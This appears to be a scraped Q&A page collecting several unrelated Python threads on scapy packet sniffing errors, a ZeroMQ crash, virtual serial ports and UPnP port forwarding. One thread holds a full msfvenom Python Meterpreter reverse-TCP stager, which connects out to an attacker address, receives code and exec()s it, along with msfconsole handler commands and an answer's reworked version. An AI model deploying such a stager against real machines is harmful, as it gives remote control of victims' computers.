"OSError: Error opening adapter" when using scapy sniff (Python) - python

I am trying to write a code in python that sniffing packets in my computer and printing those that are dns ones. but for some reason I keep getting this error.
this is my code:
from scapy.all import *
from scapy.layers.dns import DNS, DNSQR
from scapy.layers.inet import IP, UDP
def print_packets(pkg):
if DNS in pkg:
pkg.show()
def is_dns(pkg):
if "DNS Resource Record" in pkg:
return DNS
return False
def main():
packets = sniff(filter=is_dns, prn=print_packets)
if __name__ == "__main__":
main()
can someone tell me why it's happening and how can I fix it?

why it's happening?
You appear to be encountering a permission error.
That is, the sniff( ... ) call is quite standard,
and the subsequent request for ETH_P_ALL is what you want.
But you seem to lack permission to see such interfaces.
how can I fix it?
Note that the intro / install docs always take care
to specify UID=0 root access, e.g. $ sudo ./run_scapy.
On your platform I'm not sure what exactly it takes
to convince the ether API that you're a legitimate admin.
Follow the docs:
the latest version of Scapy supports Windows out-of-the-box.
If really nothing seems to work, consider skipping the Windows version and using Scapy from a Linux Live CD ...
You may not be able to capture WLAN traffic on Windows ....
If you believe a response is an answer to your question,
it is appropriate to accept it.

Related

Python.exe has stopped working while using zmq

I am running the following code and it terminates with the following message. Please refer to the screenshot.
import zmq
context = zmq.Context()
socket = context.socket(zmq.SUB)
socket.connect('tcp://0.0.0.0:5555')
zmq is the Python binding for ØMQ. There are links for Python.exe stopped working, however the solutions appear to be problem specific. Please suggest the way forward. Thanks in advance.
Using ZeroMQ inside quasi-cluster-enabled clients requires more care:
Be it iPython, Jupyter or even Spyder, these python WYSIWYG- or IDE-frontends use ZeroMQ on their own internally, and quite intensively, to communicate between the GUI in "terminal" or the "notebook" and the backend python-engine(s).
So a double care is needed. Every port-mapping is even more delicate.
As one might read, O/S reports that the problems are on the backend-engine, that went mad, not on the GUI frontend.
Anyway,rather do not use bewildered constructors like tcp://0.0.0.0:<port#> or tcp://*:<port#>
Documentation explicitly advises another approach how to safely .connect() to localhost ( sure, that port was still free from iPython / Jupyter / Spyder own use ):
>>> print zmq.Socket.connect.__doc__
s.connect(addr)
Connect to a remote 0MQ socket.
Parameters
----------
addr : str
The address string. This has the form 'protocol://interface:port',
for example 'tcp://127.0.0.1:5555'. Protocols supported are
tcp, upd, pgm, inproc and ipc. If the address is unicode, it is
encoded to utf-8 first.
>>>

Meterpreter not connecting back - Python

I have used msfvenom to create the following python payload:
import socket,struct
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('MY PUBLIC IP',3930))
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(d,{'s':s})
I have then opened up msfconsole, and done the following:
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set LHOST 192.168.0.186 (MY LOCAL IP)
set LPORT 3930
exploit
It begins the reverse TCP handler on 192.168.0.186:3930, and also starts the payload handler. However, when I run the script on another computer, the payload times out after waiting for about a minute, and msfconsole doesn't register anything. I have port forwarded 3930 on the router. What am I doing wrong here?
This is the code I would use for a reverse TCP on Unix systems, with the details you've provided. However, I stumbled upon your post after error searching, so this isn't 100% flawless. I've gotten it to work perfectly in the past, but just recently it's begun to lag. It'll run once on an internal system, but anything after that gives me the same error message you got. I also get the same message when doing this over the WAN, as opposed to LAN, however it doesn't run the first time around. What ISP do you have? It may be entirely dependent on that.
import socket,struct
s=socket.socket(2,1)
s.connect(('IP ADDRESS',3930))
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(4096)
while len(d)!=l:
d+=s.recv(4096)
exec(d,{'s':s})

scapy sniff function not catching any packets

I've been following Seitz's black hat python book and he gives an example of capturing network traffic using the scapy library.
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
def packet_callback(packet):
print packet.show()
sniff(filter="",iface="any",prn=packet_callback, count = 1)
I run the above function as follows: sudo python sniffer.py and open google chrome to a page. No packets get captured. I do a ping request to a domain and nothing gets captured. I was expecting the print packet.show() line to print the first packet being sent.
All of this is being run on a Macbook Pro on a wireless internet connection.
Can someone help me troubleshoot?
if you want scapy to sniff on all interfaces, just remove the iface = "any" parameter. Since "any" is not an interface therefore scapy cannot sniff.
Also remove the filter parameter since it is not applying any filter.
The correct command would like like this.
sniff(prn=packet_callback, count = 1)
iface argument expects exact name of the interface. Most likely you do not have an interface named ANY. You can omit the argument, which is most likely what you have to do in this case, or use actual interface name (such as "eth0").
I actually get an exception "No such device", when I try your code. Is this the actual code you run?
Also, please, write scapy version. I am using python3 version, which you can get from http://github.com/phaethon/scapy or as scapy-python3.

How can I use a pseudoterminal in python to emulate a serial port?

I am creating a python application using twisted which reads lines from a serial port.
In order to (unit)test that app without having to connect an actual device to the serial port (also on pc's without an actual serial port) I would like to create a python script/app that sets up a virtual serial port and writes to it, so the twisted app can connect to the other end of the virtual serial port and read from it. This way I can write some unittests.
I found this is possible using pseudo terminals in linux. I also found a working example script on https://askubuntu.com/questions/9396/virtual-serial-port-for-testing-purpose.
I would like to change that script to a class on which I can call a write method to write data to the serial port, and then test the twisted app.
This example script does a lot of stuff with poll and select and a linux stty command which I don't really understand. I hope someone can fill the gap in my knowledge or provide some hints.
Cheers,
Dolf.
In addition to what Jean-Paul Calderone said (which was the correct answer mostly), I also made the following script in python, using socat.
This can be imported and instantiated into an interpreter, and then you can use it's writeLine method to write data to a (vritual) serial port, which is connected through socat to another (virtual) serial port, on which another twisted app can be listening. But as Jean-Paul Calderone said: if it's just unittesting you want, you don't really need to do this stuff. Just read the docs he mentioned.
import os, subprocess, serial, time
from ConfigParser import SafeConfigParser
class SerialEmulator(object):
def __init__(self,configfile):
config=SafeConfigParser()
config.readfp(open(configfile,'r'))
self.inport=os.path.expanduser(config.get('virtualSerialPorts','inport'))
self.outport=os.path.expanduser(config.get('virtualSerialPorts','outport'))
cmd=['/usr/bin/socat','-d','-d','PTY,link=%s,raw,echo=1'%self.inport,'PTY,link=%s,raw,echo=1'%self.outport]
self.proc=subprocess.Popen(cmd,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
time.sleep(3)
self.serial=serial.Serial(self.inport)
self.err=''
self.out=''
def writeLine(self,line):
line=line.strip('\r\n')
self.serial.write('%s\r\n'%line)
def __del__(self):
self.stop()
def stop(self):
self.proc.kill()
self.out,self.err=self.proc.communicate()
You don't need a pty to test your protocol. You don't even need any kind of file descriptor. Follow the guidelines at http://twistedmatrix.com/documents/current/core/howto/trial.html, particularly the Testing a protocol section.
A better approach is probably to use a software null modem emulator.
You can get it from github for linux and from sourceforge for windows.
On linux it is called tty0tty and you simply type
make
to build everything. Then you would need to type
sudo insmod module/tty0tty.ko
to install the virtual driver and
./pts/tty0tty
to launch the application, which opens you 2 virtual ports: /dev/pts/4 and /dev/pts/6.
You can then open the /dev/pts/4 serial port in your python unit tests and open the /dev/pts/6 in your application.
In your python unit test, you would just type something like:
import serial
ser = serial.Serial('/dev/pts/4', 19200)

Python: Open a Listening Port Behind a Router (upnp?)

I've developed an application that is essentially just a little ftp server with the ability to specify which directory you wish to share on startup. I'm using ftplib for the server because it's sick easy. The only issue I'm having is that if you are behind a router you have to manually forward the ports on your router and I'm finding that it's a little too complicated for my users (aka co-workers/clients).
So I've been looking for a simple solution to open ports but I'm finding that most APIs are too broad and way over my head. Does someone know of a solution that would be relatively simple to implement?
Note: It will really only be used on windows although cross-platform compatibility would be welcomed. If there is a windows only solution that is simpler then I would opt for that.
Thanks!
Simple example for miniupnp. It creates a mapping on the discovered gateway from external port 43210 to the interface connected to port 43210 on the interface connected to the discovered gateway.
import miniupnpc
upnp = miniupnpc.UPnP()
upnp.discoverdelay = 10
upnp.discover()
upnp.selectigd()
port = 43210
# addportmapping(external-port, protocol, internal-host, internal-port, description, remote-host)
upnp.addportmapping(port, 'TCP', upnp.lanaddr, port, 'testing', '')
The protocol you want is called IGD (for Internet Gateway Device) and is based on UPNP. It allows a client program (yours) to discover the router on the network (using UPNP) and then ask it to forward a specific port.
This is supported by most home routers, and the technique is used by a lot of services like BitTorrent or multiPlayer games, bit it's a bit complicated to use or implement. There are several open source libraries that support IGD and one of the simplest one (which is also cross-platform) is "miniupnp": see http://miniupnp.free.fr/
Looks like there are a few options, one being miniupnp. There are also python bindings for GNUPnP here. For windows minupnp will work, or you could go pure python with miranda-upnp.
There is a nice example of the python GNUPnP bindings being used to open ports on a router here.
In that example the lease time is set to 0, which is unlimited. See here for the definition of add_port.
A simple example might be:
#! /usr/bin/python
import gupnp.igd
import glib
from sys import stderr
my_ip = YOUR_IP
igd = gupnp.igd.Simple()
igd.external_ip = None
main = glib.MainLoop()
def mep(igd, proto, eip, erip, port, localip, lport, msg):
if port == 80:
igd.external_ip = eip
main.quit()
def emp(igd, err, proto, ep, lip, lp, msg):
print >> stderr, "ERR"
print >> stderr, err, proto, ep, lip, lp, msg
main.quit()
igd.connect("mapped-external-port", mep)
igd.connect("error-mapping-port", emp)
#igd.add_port("PROTO", EXTERNAL_PORT, INTERNAL_IP, INTERNAL_PORT, LEASE_DURATION_IN_SECONDS, "NAME")
igd.add_port("TCP", 80, my_ip, 8080, 86400, "web")
main.run()
There is an article explaining how to use the Windows IGD COM object with win32com.
I looked for this for many days. I was unable to install miniupnpc using pip for python 3.
I solved this isue with an implementation found here which will work for python 2.
I forked it and make the changes to be used on python 3, you can find it Here
This implementation is by far the simplest I have seen and works well.

Categories